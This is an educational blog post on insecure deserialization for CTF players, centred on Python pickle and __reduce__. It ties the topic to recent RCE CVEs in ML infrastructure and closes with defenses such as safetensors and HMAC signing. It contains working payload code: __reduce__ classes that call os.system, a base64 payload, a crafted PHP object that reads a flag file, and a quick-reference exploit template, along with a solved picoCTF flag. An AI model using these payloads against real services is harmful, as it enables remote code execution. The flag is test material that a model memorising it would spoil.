May 25, 2026

Insecure Deserialization for CTF: Pickle, __reduce__, and RCE

Loading a pickle file runs code, not data. The same Python __reduce__ exploit that solves a CTF is the insecure-deserialization RCE pwning AI infra in 2026. Here is exactly why.

The flag and the CVE are the same three lines

In April 2026, a researcher published a proof-of-concept (PoC) that takes over a Hugging Face robotics server with no password and no login. The whole exploit is a Python class with one method. Here is the part that made me stop and stare: that class, almost character for character, is also how you solve a beginner Capture-The-Flag (CTF) web challenge.

Same three lines. One of them is a real disclosed vulnerability with a tracking ID, a CVE (Common Vulnerabilities and Exposures, the public catalog number every serious bug gets), and a 9.8 severity score, shipped inside an actual robot. The other one gets you a flag (the secret string a CTF hides for you to find) and a few points.

The CTF payload

class RCE:
def __reduce__(self):
return (os.system, ('id',))

CVE-2026-25874 (LeRobot, real)

class RCE:
def __reduce__(self):
return (os.system, (self.cmd,))

If those two blocks mean nothing to you yet, good. That is exactly what the rest of this post is for. The only thing to notice right now is that they are nearly identical. To understand why they are the same exploit, you need one weird fact about pickle, Python's built-in way to save objects to a file. Loading a pickle does not read data. It runs a program. The official Python documentation will tell you this itself, right at the top of the page, in a red warning box. Most people scroll past it. We are going to read it very carefully, because it is the entire bug.

Insecure deserialization is the rare CTF bug whose toy version is byte-for-byte the same exploit now scoring critical CVEs against the AI tools everyone is racing to deploy.

This guide builds the bug from the ground up. We start with what serialization even is, take apart the pickle virtual machine until the __reduce__trick is obvious, solve picoCTF's deserialization challenge, learn to spot a serialized blob in any language, and then look at the 2025-2026 wave of CVEs where this exact bug is pwning production machine-learning infrastructure. If you have done a web challenge before, you have the background. Let's go.

Deserialization is un-saving an object, and that's where it goes wrong

Serialization is the act of flattening a live object in memory into a string of bytes you can write to disk or send over a network. Deserialization is the reverse: take those bytes, rebuild the object. Every language has some version of this. You have used it without thinking, every time a program remembered something after it closed.

Here is the thing nobody tells you up front: there are two very different ways to do it, and the difference is the whole story.

JSON: a format for data

JSON can describe a string, a number, a list, a dictionary. That is the entire vocabulary. When you parse JSON you get data back, and only data. There is no way to write "now call this function" in JSON, because the grammar simply cannot express it.

Pickle: a format for objects

Pickle can rebuild anyPython object: a custom class, a model, a database connection. To do that it has to be able to import modules, call constructors, and run setup code. "Rebuild this object" and "run this code" turn out to be the same instruction.

That is the fault line that runs through every deserialization bug in every language. The moment a format is powerful enough to reconstruct arbitrary objects, it has to be able to call code, and once it can call code, anyone who controls the bytes can choose which code. It is not a flaw someone introduced. It is the feature working exactly as designed.

Note: The OWASP name for this whole category is insecure deserialization, and the standard weakness identifier is CWE-502: Deserialization of Untrusted Data. Keep that number in mind. Every CVE we look at later carries it.

Pickle is a tiny virtual machine (this is the fun part)

Okay, here is where it gets genuinely cool. A pickle is not a data structure. It is a program. When you call pickle.loads(data), Python spins up a little stack-based virtual machine, sometimes called the Pickle Machine, and executes the bytes one opcode at a time. Trail of Bits documented this beautifully in their 2021 writeup "Never a dill moment": pickle is a compiled program running on its own interpreter.

You do not have to take my word for it. Python ships a tool called pickletools that disassembles a pickle without running it, the same way objdumpshows you assembly without executing the binary. Let's pickle a plain tuple (1, 2) and look at the program it compiles to:

>>> import pickle, pickletools
>>> pickletools.dis(pickle.dumps((1, 2)))
0: \x80 PROTO 4
2: \x95 FRAME 7
11: K BININT1 1
13: K BININT1 2
15: \x86 TUPLE2
16: \x94 MEMOIZE (as 0)
17: . STOP

Read it like assembly. PROTO 4 declares the pickle protocol version (and FRAME is just a length hint). Two BININT1 opcodes push the numbers 1 and 2 onto the stack. TUPLE2 pops both and pushes a tuple. The MEMOIZE lines are housekeeping, pickle caching a value so it can reuse it later. STOP ends the program and returns the top of the stack. That is a real instruction set, with a stack, executing in order.

Most of the opcodes are boring and safe. A handful are not. These are the ones that matter for exploitation:

OpcodeWhat it does
GLOBAL / STACK_GLOBALImports module.name and pushes it. Importing alone can run code, because importing a module runs its top-level statements.
REDUCEPops a callable and an argument tuple, then calls callable(*args). This is the one. This is "call any function with any arguments."
BUILDCalls an object's __setstate__, another spot where attacker-chosen code runs.
NEWOBJ / INSTConstruct an instance, invoking __new__ or the class constructor.
Key insight: The precise, defensible claim is this: unpickling is the execution of a bytecode program, and there is no pure-data mode. The same load() that rebuilds a benign tuple also dispatches REDUCE, STACK_GLOBAL, and BUILD. REDUCE is the famous path to code execution, but it is not the only one. Once you see pickle as a program, the bug stops being surprising and starts being inevitable.

__reduce__: six opcodes to remote code execution

So how do you write a malicious pickle? You do not hand-assemble opcodes. You let Python do it for you, which is the part that still delights me. When Python pickles an object, it asks that object how it would like to be rebuilt by calling its __reduce__ method. The method returns a tuple: a callable, and the arguments to call it with. Pickle faithfully writes that down as a REDUCE instruction.

You see where this is going. Define a class whose __reduce__says "to rebuild me, call os.systemwith this command":

import os, pickle, pickletools, base64
 
class Exploit:
def __reduce__(self):
return (os.system, ('echo pwned',))
 
payload = pickle.dumps(Exploit())

Disassemble that payload and the trap is right there in plain sight (this is real output, not a sketch):

>>> pickletools.dis(payload)
0: \x80 PROTO 4
11: \x8c SHORT_BINUNICODE 'posix'
19: \x8c SHORT_BINUNICODE 'system'
28: \x93 STACK_GLOBAL # push posix.system
30: \x8c SHORT_BINUNICODE 'echo pwned'
43: \x85 TUPLE1 # args = ('echo pwned',)
45: R REDUCE # posix.system('echo pwned')
47: . STOP

The two STACK_GLOBAL strings import os.system (it shows up as posix.system on Linux, same function). TUPLE1 builds the argument tuple. REDUCE makes the call. Nobody asked for a shell command, and yet there one is, sitting in the data, waiting for someone to call load.

Now base64-encode it, because that is how a payload travels in a cookie or a JSON field:

>>> base64.b64encode(payload).decode()
'gASVJQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAplY2hvIHB3bmVklIWUUpQu'

Notice it starts with gAS. Tuck that away. In a minute it becomes the fingerprint you grep for. And the trigger is almost insultingly simple: any code anywhere that does pickle.loads(attacker_bytes) runs the command. This is remote code execution (RCE) with none of the usual difficulty. No memory corruption, no leaked addresses to compute. You hand it a program and it runs the program.

Warning: Run the disassembler, never pickle.loads, on a payload you do not trust. pickletools.dis reads the opcodes without executing them. Trail of Bits also ships fickling, which decompiles a pickle back into readable Python and flags malicious ones. Treat an unknown .pkl like an unknown .exe, because that is what it is.

"Fine," you say, "so don't let attackers control the callable." People try. The usual defense is a restricted unpickler: subclass pickle.Unpickler, override find_class(module, name), and allow only a safelist of classes. It is harder to get right than it looks. Allow builtins.getattr or eval and you have handed back the keys. Worse, find_class walks submodules, so an allowed module that happened to import os can leak osstraight back. splitline's HITCON 2022 talk "Pain Pickle" is a tour of how these allowlists fall. This is the same restricted-environment escape mindset as a Python sandbox bypass; if you enjoy pyjail, you will recognize every move.

Every language with object serialization has this exact bug

Pickle is Python's version, but the shape is universal. Every language that can serialize objects auto-invokes some lifecycle method when it rebuilds them, and that method is the attacker's entry point. The names change. The bug does not.

picoCTF's canonical example is picoCTF 2021 Super Serial, and it is PHP, not Python, which is the point: there are no pickle opcodes here, just a readable text format, and the attack is still the same shape. The app calls unserialize() on a login cookie you control. The source code leaks through a .phps file (an Apache quirk that serves PHP source as plain text) listed in robots.txt, and it defines an access_log class whose __toString() reads whatever file path it holds. The trigger is the twist: __toString()runs automatically whenever PHP needs the object as text, which the app's error handler does for you. So you hand-craft a serialized object that is an access_log pointed at the flag:

O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
 
# O:10:"access_log" -> an object of the 10-char class access_log
# s:8:"log_file" -> property name, 8 chars
# s:7:"../flag" -> its value, 7 chars

base64 it, drop it in the login cookie, and the deserialization error handler stringifies your object, which fires __toString(), which reads ../flag. Out comes picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}. The language is different and the magic method has a different name, but the idea is identical: you control the data, the data names a class, and the class runs code the moment it wakes up.

A gadget chain isn't code the attacker wrote. All of it already exists in the app. The only thing the attacker controls is the data passed into it.paraphrasing PortSwigger's Web Security Academy

That quote is the key to the whole class of bug. When the dangerous method is not sitting right there like Super Serial's file-reader, attackers chain together classes that are present, hopping from one magic method to the next until they reach a dangerous sink (the security term for the function where attacker-controlled data finally does damage, like a file read or a shell call). Whole tools exist to build these chains: ysoserial for Java, ysoserial.net for .NET, and phpggc for PHP framework gadget chains.

How to spot a serialized blob in the wild

Half of solving these is recognizing one when you see it. A serialized object usually shows up somewhere user-controlled: a cookie, a hidden form field, an API parameter, an upload. It is often base64-encoded, so it looks like random padding until you decode it. Here is the cheat sheet. Decode any suspicious blob and match the first few bytes:

LanguageRaw bytes look likeBase64 starts withAuto-runs on load
Python pickle\x80 then proto byte (protocol 2+)gASV (proto 4)__reduce__ / __setstate__
PHPO:8:"Name":.. or a:.. or s:..Tzo (the "O:")__wakeup / __destruct / __toString
JavaAC ED 00 05rO0ABreadObject
.NET BinaryFormattertype header blockAAEAAAD/////formatter object construction
.NET ViewState__VIEWSTATE field/wEP (unencrypted)ObjectStateFormatter
Ruby Marshal\x04\x08BAg (rough)Marshal load hooks

Remember the gAS prefix from our payload? That is this table in action. The moment a cookie decodes to bytes starting with \x80\x04, you are almost certainly looking at a pickle, and the attack is to craft your own object and send it back. Same loop every time: decode, identify, craft, encode, send.

Tip: One honest caveat on the pickle prefix: gASV is reliable for protocol 4 with a frame opcode, which is the modern default. Protocols 0 and 1 have no \x80 header at all and start with a bare opcode like ( or c. Treat gA as the loose hint and gASV as the strong one.

The web challenges on this site that lean on this skill are worth doing back to back: the deserialization gadget in Super Serial, and the cookie-tampering mindset in the Cookie and JWT attacks guide. They share a root lesson: never trust data the client can edit.

The same three lines are pwning production AI right now

Here is where I stop being charmed and start being a little worried. For years the standard advice was "just don't deserialize untrusted data," and for years that was easy to wave off as a problem for people who do reckless things. Then the machine learning boom made pickle the native file format of an entire industry, and the advice became impossible to follow.

PyTorch model files (.pt, .bin, .pth) are ZIP archives with a data.pkl inside, and torch.load unpickles it. That means every model you download from a stranger is a pickle, and loading it is running their program. People go looking, and they find exactly what you would expect. A single JFrog scan turned up over 100 malicious models on Hugging Face carrying live code-execution payloads. ReversingLabs found one, nicknamed nullifAI, that slipped past the platform's scanner by using 7z instead of ZIP. Hugging Face took it down quickly once it was flagged, but it got uploaded in the first place, and that is the whole problem.

But the model-file angle is the tame one. The 2026 CVEs that genuinely rattled me are not about files at all. They are live network services that call pickle.loads on bytes straight off a socket:

  • vLLM, CVE-2025-32444.A 10.0 on GitHub's scoring (9.8 on the US National Vulnerability Database, the NVD), disclosed April 2025. The Mooncake integration exposed a ZeroMQ socket (a network messaging library) whose recv_pyobj() implicitly calls pickle.loads. No public exploit code was posted, so I will only say it is the same sink and the same CWE-502, not a copy of our toy. Advisory.
  • LeRobot, CVE-2026-25874.Hugging Face's robotics stack, 9.8, disclosed April 2026. Its gRPC handlers (gRPC is Google's remote-procedure-call framework, a common way services talk to each other) unpickle incoming messages with no authentication and no transport security, and the source even had a # nosec comment quietly suppressing the linter that would have caught it. The published proof-of-concept is, and I mean this literally, our __reduce__ class with the command swapped for id > /tmp/lerobot_pwned.
  • LightLLM, CVE-2026-26220. 9.3, disclosed February 2026. A WebSocket endpoint runs pickle.loads on each binary frame, with no authentication on the socket. Same PoC shape again. Issue.

10.0

vLLM's severity score on GitHub (9.8 on NVD)

22

pickle load paths across 5 ML frameworks, 19 missed by scanners

44.9%

of popular Hugging Face models still ship as pickle

100+

malicious models found on the Hub in one scan

The numbers come from two August 2025 papers worth reading: "The Art of Hide and Seek" mapped 22 distinct pickle-loading paths across five frameworks and found existing scanners missed 19 of them, and PickleBall measured that 44.9% of popular models on the Hub are still pickle-based. Here is the timeline of how fast this went from a known footgun to a steady stream of critical CVEs:

  • Mar 2021

    Trail of Bits: 'Never a dill moment'

    The definitive writeup framing pickle as a virtual machine and demoing malicious model files. The warning was clear and early.

  • Apr 2025

    vLLM CVE-2025-32444 (10.0)

    Pickle over a ZeroMQ socket. The bug leaves model files and moves onto the network.

  • Apr 2025

    PyTorch CVE-2025-32434 (9.8)

    RCE through torch.load even with the supposedly safe weights_only=True. The fix everyone trusted had a hole.

  • Aug 2025

    Two papers quantify the gap

    19 of 22 loading paths slip past scanners; nearly half of popular models still use pickle.

  • Feb 2026

    LightLLM CVE-2026-26220 (9.3)

    Pickle over a WebSocket, no auth. The same exploit, a new transport.

  • Apr 2026

    LeRobot CVE-2026-25874 (9.8)

    Pickle over gRPC, no auth, in a robotics framework. The CTF toy, shipped into a robot.

The bug never died. It moved out of model files and into the RPC transports, where no model scanner is even looking.

That is the opinion I will defend: insecure deserialization is the most underrated bug class in applied machine learning, precisely because the official advice ("use a safe format") collides head-on with the industry's favorite artifact format. The smart-contract world learned a similar lesson the hard way, that a known bug pattern keeps draining real value long after everyone "knows better" (see Smart Contract CTF bugs).

What actually fixes it (and why safetensors exists)

A fair objection: wasn't this all patched in 2025? PyTorch flipped torch.load to default weights_only=True in version 2.6 (January 2025), Hugging Face defaults to a format called safetensors, and uploads get scanned. All true. And all of it leaks:

  • The "safe" default was itself bypassable. CVE-2025-32434 was a 9.8 remote code execution that worked with weights_only=True on every PyTorch up to 2.5.1.
  • Scanners miss most loading paths, as those August 2025 papers measured (19 of 22).
  • Plenty of code still passes weights_only=False by hand to load full checkpoints, which reopens the whole sink.
  • And none of the model-file mitigations touch a service that unpickles bytes off a socket, which is exactly what the 2026 CVEs did.

The mitigations are real. The attack just kept moving faster than they did.

The actual fix is not to validate harder. It is to use a format that cannot execute in the first place. That is the entire reason safetensors exists: it stores tensors as raw bytes plus a small JSON header, with no opcodes and no callables. You cannot smuggle a __reduce__ into a thing that has no concept of code. Same logic for data: if you only need to move data, use JSON, and the grammar makes the attack unrepresentable.

Tip: The hierarchy, simplest first: (1) use a non-executing format, safetensors for models, JSON for data; (2) if you must use pickle, never on untrusted input, and keep weights_only=True; (3) if you truly cannot avoid untrusted deserialization, sign the blob with an HMAC (a keyed signature only your server can produce) and reject anything whose signature does not verify, so an attacker cannot forge a payload in the first place. Notice that allowlisting the unpickler is not on this list. It is a speed bump, not a wall.

That third option, the HMAC, is the same defense Super Serial's own writeup recommends for PHP cookies, and it is the one that actually moves the bug out of the attacker's reach instead of just raising the bar. If the bytes have to be signed by your key, controlling the bytes stops being enough.

Quick reference

Spot it

  • User-controlled blob in a cookie, form field, API param, or upload.
  • Often base64. Decode it and read the first bytes.
  • \x80 = pickle, O: = PHP, \xac\xed = Java, \x04\x08 = Ruby, AAEAAAD///// = .NET.

Exploit it (Python pickle)

import os, pickle, base64
 
class P:
def __reduce__(self):
return (os.system, ('id',)) # swap for your command
 
blob = base64.b64encode(pickle.dumps(P())).decode()
# send blob wherever the app calls pickle.loads()
 
# inspect a payload safely, never pickle.loads() the unknown:
import pickletools; pickletools.dis(base64.b64decode(blob))

Defend it

  • Models: safetensors. Data: JSON. Formats that cannot run code.
  • Stuck with pickle? Untrusted input never, weights_only=True always.
  • Truly stuck? HMAC-sign the blob and reject unsigned input.

The thing I want you to carry out of here: deserialization is not a parsing step, it is an execution step that happens to look like a parsing step. Once you see pickle.loads (or unserialize, or readObject) as "run this program," you will spot the bug in a challenge before you decode a single byte, and you will flinch the next time a tutorial tells you to torch.load a checkpoint off the internet.

One concrete move to make it stick. Open a Python shell, write the three-line __reduce__ class above, and run pickletools.dis on the result. Watch the REDUCE opcode appear. The flag and the CVE are the same three lines, and the only difference is that one of them is probably sitting in your ~/.cache/huggingface right now.

Sources and further reading